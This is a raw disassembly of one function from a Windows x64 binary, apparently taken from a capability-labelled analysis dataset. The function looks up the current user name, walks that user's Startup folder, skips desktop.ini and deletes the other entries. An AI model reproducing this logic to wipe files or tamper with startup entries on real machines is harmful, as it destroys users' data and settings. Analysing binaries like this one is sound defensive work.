Function at 0x14000aaa0
Capabilities:
Get session user name

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x340
mov rax, qword [0x14007a040]
xor rax, rsp
mov qword [rsp + 0x338], rax
xor esi, esi
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x120]
call fcn.140040ae0
mov dword [rsp + 0xb0], 0x104
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x120]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea rax, str.C:UsersAppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 0x49
lea rax, [rsp + 0x120]
mov qword [rsp + 0xc8], rax
movabs rax, 0xb000000000000000
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xa0], 1
lea rax, [rsp + 0xc0]
mov qword [rsp + 0xa8], rax
movaps xmm0, xmmword [rsp + 0xa0]
movdqa xmmword [rsp + 0x50], xmm0
movaps xmm1, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0xd0], xmm1
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0xe0]
call fcn.140011f60
nop
lea rdx, [rsp + 0xe0]
cmp qword [rsp + 0xf8], 7
cmova rdx, qword [rsp + 0xe0]
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rsi
mov r8, qword [rsp + 0xf0]
lea rcx, [rsp + 0x20]
call fcn.14000fb90
nop
xorps xmm0, xmm0
movdqa xmmword [rsp + 0xa0], xmm0
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0xa0]
call fcn.14000edf0
test eax, eax
jne 0x14000b12f
mov rdx, qword [rsp + 0x38]
cmp rdx, 7
jbe 0x14000ac3c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ac37
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b143
call fcn.140028130
xorps xmm0, xmm0
movups xmmword [rsp + 0xc0], xmm0
mov r13, qword [rsp + 0xa8]
test r13, r13
je 0x14000ac61
lock inc dword [r13 + 8]
mov r13, qword [rsp + 0xa8]
movaps xmm0, xmmword [rsp + 0xa0]
movdqa xmmword [rsp + 0xc0], xmm0
test r13, r13
je 0x14000ac84
lock inc dword [r13 + 8]
mov r13, qword [rsp + 0xa8]
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xd0], xmm1
mov edi, 0xffffffff
test r13, r13
je 0x14000acdf
mov eax, edi
lock xadd dword [r13 + 8], eax
cmp eax, 1
jne 0x14000acd7
mov rbx, qword [rsp + 0xa8]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, edi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14000acd7
mov r13, qword [rsp + 0xa8]
mov rax, qword [r13]
mov rcx, r13
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x14000acdf
mov r13, qword [rsp + 0xa8]
nop
mov rax, qword [rsp + 0xc0]
cmp rax, qword [rsp + 0xd0]
je 0x14000b02f
lea r12, [rax + 0x20]
mov rcx, r12
cmp qword [r12 + 0x18], 7
jbe 0x14000ad09
mov rcx, qword [r12]
mov rax, qword [r12 + 0x10]
lea rdi, [rcx + rax*2]
mov rbx, rdi
mov rdx, rdi
call fcn.140004340
cmp rax, rdi
je 0x14000ad5b
movzx ecx, word [rax]
cmp cx, 0x5c
je 0x14000ad31
cmp cx, 0x2f
jne 0x14000ad3a
add rax, 2
cmp rax, rdi
jne 0x14000ad22
cmp rax, rdi
je 0x14000ad5b
nop
lea rdx, [rbx - 2]
movzx ecx, word [rdx]
cmp cx, 0x5c
je 0x14000ad5b
cmp cx, 0x2f
je 0x14000ad5b
mov rbx, rdx
cmp rax, rdx
jne 0x14000ad40
sub rdi, rbx
sar rdi, 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x78], rsi
mov r8, rdi
mov rdx, rbx
lea rcx, [rsp + 0x60]
call fcn.14000fb90
nop
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x100]
call fcn.14000cf80
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x14000add9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000add4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b149
call fcn.140028130
lea r8, [rsp + 0x100]
mov r14, qword [rsp + 0x100]
mov r15, qword [rsp + 0x118]
cmp r15, 7
cmova r8, r14
mov rdi, qword [rsp + 0x110]
cmp rdi, 0xb
jne 0x14000ae39
mov rdx, rdi
lea rbx, str.desktop.ini
mov rcx, rbx
test rdi, rdi
je 0x14000afc8
sub r8, rbx
movzx eax, word [rcx + r8]
cmp ax, word [rcx]
jne 0x14000ae39
add rcx, 2
sub rdx, 1
jne 0x14000ae20
jmp 0x14000afc8
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], rsi
lea rsi, [rsp + 0x100]
cmp r15, 7
cmova rsi, r14
movabs rax, 0x7ffffffffffffffe
cmp rdi, rax
ja 0x14000b14f
cmp rdi, 7
ja 0x14000ae8f
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], 7
movups xmm0, xmmword [rsi]
movups xmmword [rsp + 0x20], xmm0
jmp 0x14000af3b
mov rbx, rdi
or rbx, 7
cmp rbx, rax
jbe 0x14000aec4
mov rbx, rax
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
cmp rcx, 0x1000
jb 0x14000af13
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000b154
jmp 0x14000aef1
cmp rbx, 0xa
mov eax, 0xa
cmovb rbx, rax
lea rcx, [rbx + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x14000b159
add rcx, rcx
jne 0x14000aeac
xor eax, eax
jmp 0x14000af18
mov rcx, rax
call fcn.140028138
mov rcx, rax
test rax, rax
je 0x14000b15e
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x14000af18
call fcn.140028138
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], rbx
lea r8, [rdi*2 + 2]
mov rdx, rsi
mov rcx, rax
call fcn.140040360
nop
lea rax, [rsp + 0x20]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x58], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x80]
call fcn.14000c990
lea rcx, [rsp + 0x80]
call fcn.140006ed0
lea rcx, [rsp + 0x80]
call fcn.14000d2a0
nop
lea r9, [fcn.140004860]
mov edx, 0x20
mov r8d, 1
lea rcx, [rsp + 0x20]
call fcn.140028174
mov rcx, r12
cmp qword [r12 + 0x18], 7
jbe 0x14000afb2
mov rcx, qword [r12]
call fcn.1400236dc
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x14000b164
xor esi, esi
cmp r15, 7
jbe 0x14000b004
lea rdx, [r15*2 + 2]
mov rax, r14
cmp rdx, 0x1000
jb 0x14000affb
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b178
mov rcx, r14
call fcn.140028130
nop
jmp 0x14000b010
mov edi, 0xffffffff
lea rcx, [rsp + 0xc0]
call fcn.140005380
test eax, eax
jne 0x14000b17e
jmp 0x14000ace0
mov rcx, qword [rsp + 0xc8]
test rcx, rcx
je 0x14000b07a
mov eax, edi
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x14000b072
mov rbx, qword [rsp + 0xc8]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, edi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14000b072
mov rcx, qword [rsp + 0xc8]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov r13, qword [rsp + 0xa8]
test r13, r13
je 0x14000b0b5
mov eax, edi
lock xadd dword [r13 + 8], eax
cmp eax, 1
jne 0x14000b0b5
mov rbx, qword [rsp + 0xa8]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
lock xadd dword [rbx + 0xc], edi
cmp edi, 1
jne 0x14000b0b5
mov rcx, qword [rsp + 0xa8]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0xf8]
cmp rdx, 7
jbe 0x14000b0fd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b0f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b186
call fcn.140028130
mov rcx, qword [rsp + 0x338]
xor rcx, rsp
call fcn.140028110
lea r11, [rsp + 0x340]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
lea r8, [rsp + 0x20]
mov edx, eax
lea rcx, str.directory_iterator::directory_iterator
call fcn.140005150
nop
call fcn.14002e1f4
nop
call fcn.14002e1f4
int3
call fcn.140001400
call fcn.140001360
call fcn.140001360
call fcn.14002e1f4
int3
shr rdx, 0x20
mov r8, r12
lea rcx, str.remove
call fcn.140005150
nop
call fcn.14002e1f4
nop
mov edx, eax
call fcn.140005060
nop
call fcn.14002e1f4
int3